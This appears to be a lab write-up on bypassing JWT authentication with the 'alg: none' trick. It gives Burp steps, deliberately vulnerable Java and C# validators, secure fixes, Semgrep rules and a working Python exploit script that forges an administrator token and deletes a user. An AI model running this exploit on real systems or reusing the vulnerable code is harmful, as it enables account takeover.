Post

Lab 02: JWT authentication bypass via flawed signature verification

Lab 02: JWT authentication bypass via flawed signature verification

1. Executive Summary

Vulnerability: JWT Signature Bypass (Algorithm Confusion / “None” Algorithm).

Description: The JSON Web Token (JWT) specification includes an alg (algorithm) header field that tells the server which cryptographic algorithm was used to sign the token. A critical implementation flaw occurs when the server trusts this header implicitly. If an attacker changes the alg to none (signifying no signature), a vulnerable server may skip the signature verification process entirely and trust the payload, allowing for arbitrary account takeover.

Impact: Privilege Escalation / Account Takeover. An attacker can forge tokens for any user (including admins) by stripping the signature and setting the algorithm to none.

2. The Attack

Objective: Access the admin panel by creating an unsigned JWT for the administrator user.

  1. Reconnaissance:
    • I logged in as wiener.
    • I captured the session cookie (JWT).
    • I sent the GET /admin request to Repeater. It returned 401 Unauthorized.
  2. Forging the Token:
    • Modify Payload: In Burp Inspector, I changed the sub claim from wiener to administrator.
    • Modify Header: In Burp Inspector, I changed the alg parameter from HS256 (or similar) to none.
    • Strip Signature: In the raw message editor, I deleted the signature part of the token (the characters after the second dot).
    • Critical Step: I ensured the trailing dot . remained. The token structure became header.payload. (with no characters after the final dot).
  3. Exploitation:
    • I sent the request with the modified token.
    • The server accepted the “unsigned” token as valid.
    • I accessed the admin panel and executed the delete request for user carlos.

3. Code Review

Vulnerability Analysis (Explanation):

The vulnerability stems from using a JWT library in a configuration that allows “Unsecured JWS” (tokens with no signature). The backend code looks at the alg header, sees none, and effectively decides “Oh, this token doesn’t need to be checked.”

Java (Spring Boot / JJWT legacy)

1
2
3
4
5
6
7
8
public Claims parseToken(String token) {
    // VULNERABLE: The parser is not configured to reject unsigned tokens.
    // In some older library versions, if the token says 'alg': 'none', 
    // the parser skips validation automatically if a key isn't enforced strictly.
    return Jwts.parser()
            .parseClaimsJwt(token) // Parses an unsecured JWT (no signature expected)
            .getBody();
}

Technical Flow & Syntax Explanation:

  • parseClaimsJwt(token): The jjwt library distinguishes between parseClaimsJws (Signed) and parseClaimsJwt (Unsigned). If the developer mistakenly uses a generic parsing method or explicitly allows unsigned tokens, the library respects the alg: none header.
  • Trusting the Header: The code fails to enforce a specific expected algorithm (like HS256). It lets the client dictate the security level.

C# (ASP.NET Core)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public ClaimsPrincipal Validate(string token)
{
    var handler = new JwtSecurityTokenHandler();
    
    // VULNERABLE: Explicitly allowing tokens without signatures
    var validationParameters = new TokenValidationParameters
    {
        RequireSignedTokens = false, // Critical Misconfiguration
        ValidateIssuerSigningKey = false,
        SignatureValidator = delegate(string token, TokenValidationParameters parameters)
        {
            var jwt = new JwtSecurityToken(token);
            return jwt; // Accepts the token as-is without crypto check
        }
    };

    return handler.ValidateToken(token, validationParameters, out _);
}

Technical Flow & Syntax Explanation:

  • RequireSignedTokens = false: This setting explicitly disables the requirement for a signature.
  • SignatureValidator delegate: The developer overrides the standard validator to simply return the token object without performing cryptographic verification. This allows the none algorithm to pass.

Mock PR Comment

The JWT validation logic currently accepts tokens with alg: none. This allows attackers to bypass authentication by stripping the signature.

Recommendation: Enforce HS256 (or RS256) and reject any token that does not match this algorithm. Disable support for unsigned tokens.

4. The Fix

Explanation of the Fix:

We must explicitly tell the JWT library which algorithm we expect and reject everything else. We must also strictly require signatures.

Secure Java

1
2
3
4
5
6
7
8
9
public Claims parseToken(String token) {
    // SECURE: Enforce the signing key.
    // 'parseClaimsJws' will throw an exception if the token is unsigned ('alg': 'none')
    return Jwts.parser()
            .setSigningKey(SECRET_KEY)
            .requireAlgorithm(SignatureAlgorithm.HS256) // Explicit Allow-list
            .parseClaimsJws(token)
            .getBody();
}

Technical Flow & Syntax Explanation:

  • parseClaimsJws: This method requires a valid signature. If the token is unsigned, it throws UnsupportedJwtException.
  • requireAlgorithm: Adds an extra layer of defense by rejecting tokens signed with keys but using unexpected algorithms (e.g., preventing algorithm confusion attacks).

Secure C#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ClaimsPrincipal Validate(string token)
{
    var handler = new JwtSecurityTokenHandler();
    var parameters = new TokenValidationParameters
    {
        // SECURE: Enforce signature presence and validation
        RequireSignedTokens = true,
        ValidateIssuerSigningKey = true,
        IssuerSigningKey = new SymmetricSecurityKey(key),
        ValidAlgorithms = new[] { SecurityAlgorithms.HmacSha256 } // Allow-list
    };

    return handler.ValidateToken(token, parameters, out _);
}

Technical Flow & Syntax Explanation:

  • RequireSignedTokens = true: Ensures alg: none is rejected immediately.
  • ValidAlgorithms: Whitelists HmacSha256. If the header claims none or RS256, the validation fails.

5. Automation

A Python script that constructs a “None” signed token manually to bypass library protections.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
import argparse
import requests
import base64
import json
import sys

def base64url_encode(data):
    # Standard Base64URL encode without padding
    return base64.urlsafe_b64encode(data.encode('utf-8')).decode('utf-8').rstrip('=')

def exploit_none_alg(url, username, password):
    s = requests.Session()
    login_url = f"{url.rstrip('/')}/login"
    
    # 1. Login to get original token structure
    print(f"[*] Logging in as {username}...")
    s.post(login_url, data={'username': username, 'password': password})
    
    original_token = s.cookies.get('session')
    if not original_token:
        print("[-] No session cookie found.")
        return

    # 2. Forge the Token Manually
    # Header: alg = none
    header = {"typ": "JWT", "alg": "none"}
    header_b64 = base64url_encode(json.dumps(header))
    
    # Payload: sub = administrator
    # We decode the original payload to keep other claims (like exp, iat) valid
    orig_payload_b64 = original_token.split('.')[1]
    # Add padding back for decoding
    padding = '=' * (4 - (len(orig_payload_b64) % 4))
    orig_payload_str = base64.urlsafe_b64decode(orig_payload_b64 + padding).decode('utf-8')
    
    payload_data = json.loads(orig_payload_str)
    payload_data['sub'] = 'administrator'
    
    # Re-encode payload
    # Use separators to remove spaces (JWT standard usually compact)
    payload_b64 = base64url_encode(json.dumps(payload_data, separators=(',', ':')))
    
    # 3. Construct "Unsecured JWS"
    # Format: header.payload.  (Note the trailing dot)
    forged_token = f"{header_b64}.{payload_b64}."
    
    print(f"[*] Forged Token: {forged_token}")

    # 4. Attack
    print("[*] Accessing Admin Panel...")
    s.cookies.set('session', forged_token)
    resp = s.get(f"{url.rstrip('/')}/admin")
    
    if resp.status_code == 200 and "Admin panel" in resp.text:
        print("[!!!] SUCCESS: Admin panel accessed.")
        # Delete Carlos
        delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
        s.get(delete_url)
        print("[+] Carlos deleted.")
    else:
        print(f"[-] Failed. Status: {resp.status_code}")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("url", help="Lab URL")
    ap.add_argument("username", help="Your username (wiener)")
    ap.add_argument("password", help="Your password (peter)")
    args = ap.parse_args()

    exploit_none_alg(args.url, args.username, args.password)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

Java Rule

1
2
3
4
5
6
7
8
9
10
11
rules:
  - id: java-jwt-none-alg-allowed
    languages: [java]
    message: "JWT parser configured to allow unsigned tokens (alg: none)."
    severity: ERROR
    patterns:
      - pattern-either:
          - pattern: Jwts.parser().parseClaimsJwt(...)
          - pattern: |
              // Custom logic checking for 'none' manually
              if ($HEADER.get("alg").equals("none")) { ... }

Technical Flow & Syntax Explanation:

  • parseClaimsJwt: This specific method in the JJWT library is designed for unsecured tokens. Using it instead of parseClaimsJws implies the application expects or allows tokens without signatures.

C# Rule

1
2
3
4
5
6
7
8
9
10
11
12
rules:
  - id: csharp-jwt-require-signed-false
    languages: [csharp]
    message: "TokenValidationParameters configured with RequireSignedTokens = false."
    severity: ERROR
    patterns:
      - pattern: |
          new TokenValidationParameters {
              ...,
              RequireSignedTokens = false,
              ...
          }

Technical Flow & Syntax Explanation:

  • RequireSignedTokens = false: This is the smoking gun configuration setting in .NET that enables the “None” algorithm vulnerability. It explicitly degrades security posture by making signatures optional.
This post is licensed under CC BY 4.0 by the author.